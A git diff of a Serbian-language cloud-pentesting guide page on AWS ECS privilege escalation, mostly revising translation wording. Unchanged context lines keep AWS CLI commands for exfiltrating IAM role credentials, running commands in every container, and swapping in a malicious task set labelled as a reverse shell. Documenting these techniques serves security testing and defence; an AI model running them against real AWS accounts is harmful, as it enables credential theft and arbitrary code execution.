> Ovaj napad je moguć samo ako **ECS cluster koristi EC2** instance i ne Fargate.
|
||||
```bash
|
||||
printf '[
|
||||
{
|
||||
@@ -233,12 +234,12 @@ aws ecs run-task --task-definition iam_exfiltration \
|
||||
```
|
||||
### `ecs:ExecuteCommand`, `ecs:DescribeTasks,`**`(ecs:RunTask|ecs:StartTask|ecs:UpdateService|ecs:CreateService)`**
|
||||
|
||||
Napadač koji ima **`ecs:ExecuteCommand`, `ecs:DescribeTasks`** može **izvršavati komande** unutar pokrenutog containera i eksfiltrirati IAM role prikačenu na njega (potrebne su describe dozvole jer su neophodne za pokretanje `aws ecs execute-command`).\
|
||||
Napadač koji ima **`ecs:ExecuteCommand`, `ecs:DescribeTasks`** može **izvršavati komande** unutar pokrenutog kontejnera i eksfiltrirati IAM rolu vezanu za njega (potrebne su describe dozvole jer su neophodne za pokretanje `aws ecs execute-command`).\
|
||||
Međutim, da bi se to uradilo, container instance mora da pokreće **ExecuteCommand agent** (što po defaultu nije).
|
||||
|
||||
Stoga napadač može pokušati da:
|
||||
Stoga napadač može pokušati:
|
||||
|
||||
- **Pokušati pokrenuti komandu** u svakom pokrenutom containeru
|
||||
- **Pokušati izvršiti komandu** u svakom pokrenutom kontejneru
|
||||
```bash
|
||||
# List enableExecuteCommand on each task
|
||||
for cluster in $(aws ecs list-clusters | jq .clusterArns | grep '"' | cut -d '"' -f2); do
|
||||
@@ -263,11 +264,11 @@ aws ecs execute-command --interactive \
|
||||
|
||||
Možete pronaći **primere tih opcija** u **prethodnim ECS privesc sekcijama**.
|
||||
|
||||
**Potential Impact:** Privesc to a different role attached to containers.
|
||||
**Potencijalni uticaj:** Privesc na drugu rolu pridruženu kontejnerima.
|
||||
|
||||
### `ssm:StartSession`
|
||||
|
||||
Pogledajte na **ssm privesc page** kako možete zloupotrebiti ovu dozvolu da **privesc to ECS**:
|
||||
Pogledajte na **ssm privesc page** kako možete zloupotrebiti ovu dozvolu da **privesc na ECS**:
|
||||
|
||||
{{#ref}}
|
||||
aws-ssm-privesc.md
|
||||
@@ -275,7 +276,7 @@ aws-ssm-privesc.md
|
||||
|
||||
### `iam:PassRole`, `ec2:RunInstances`
|
||||
|
||||
Pogledajte na **ec2 privesc page** kako možete zloupotrebiti ove dozvole da **privesc to ECS**:
|
||||
Pogledajte na **ec2 privesc page** kako možete zloupotrebiti ove dozvole da **privesc na ECS**:
|
||||
|
||||
{{#ref}}
|
||||
aws-ec2-privesc.md
|
||||
@@ -283,17 +284,16 @@ aws-ec2-privesc.md
|
||||
|
||||
### `ecs:RegisterContainerInstance`, `ecs:DeregisterContainerInstance`, `ecs:StartTask`, `iam:PassRole`
|
||||
|
||||
An attacker with these permissions could potentially register an EC2 instance in an ECS cluster and run tasks on it. Ovo bi moglo omogućiti attacker-u da izvrši proizvoljan kod u kontekstu ECS taskova.
|
||||
|
||||
- TODO: Is it possible to register an instance from a different AWS account so tasks are run under machines controlled by the attacker??
|
||||
Attacker sa ovim dozvolama mogao bi potencijalno registrovati EC2 instancu u ECS klasteru i pokrenuti tasks na njoj. To bi attacker-u omogućilo izvršavanje proizvoljnog koda u kontekstu ECS tasks.
|
||||
|
||||
- TODO: Da li je moguće registrovati instancu iz drugog AWS account-a tako da se tasks pokreću na mašinama koje kontroliše attacker??
|
||||
|
||||
### `ecs:CreateTaskSet`, `ecs:UpdateServicePrimaryTaskSet`, `ecs:DescribeTaskSets`
|
||||
|
||||
> [!NOTE]
|
||||
> TODO: Test this
|
||||
|
||||
An attacker with the permissions `ecs:CreateTaskSet`, `ecs:UpdateServicePrimaryTaskSet`, and `ecs:DescribeTaskSets` can **create a malicious task set for an existing ECS service and update the primary task set**. Ovo omogućava attacker-u da izvrši proizvoljan kod unutar servisa.
|
||||
Attacker sa dozvolama `ecs:CreateTaskSet`, `ecs:UpdateServicePrimaryTaskSet`, i `ecs:DescribeTaskSets` može **kreirati malicious task set za postojeću ECS service i ažurirati primary task set**. Ovo omogućava attacker-u da **izvrši proizvoljni kod unutar servisa**.
|
||||
```bash
|
||||
# Register a task definition with a reverse shell
|
||||
echo '{
|
||||
@@ -319,9 +319,9 @@ aws ecs create-task-set --cluster existing-cluster --service existing-service --
|
||||
# Update the primary task set for the service
|
||||
aws ecs update-service-primary-task-set --cluster existing-cluster --service existing-service --primary-task-set arn:aws:ecs:region:123456789012:task-set/existing-cluster/existing-service/malicious-task-set-id
|
||||
```
|
||||
**Potencijalni uticaj**: Izvršavanje proizvoljnog koda u pogođenom servisu, što može uticati na njegovu funkcionalnost ili dovesti do eksfiltracije osetljivih podataka.
|
||||
**Potencijalni uticaj**: Execute arbitrary code u pogođenoj usluzi, potencijalno utičući na njenu funkcionalnost ili exfiltrating sensitive data.
|
||||
|
||||
## Reference
|
||||
## References
|
||||
|
||||
- [https://ruse.tech/blogs/ecs-attack-methods](https://ruse.tech/blogs/ecs-attack-methods)
|
||||
|
||||
|
||||
Reference in New Issue
Block a user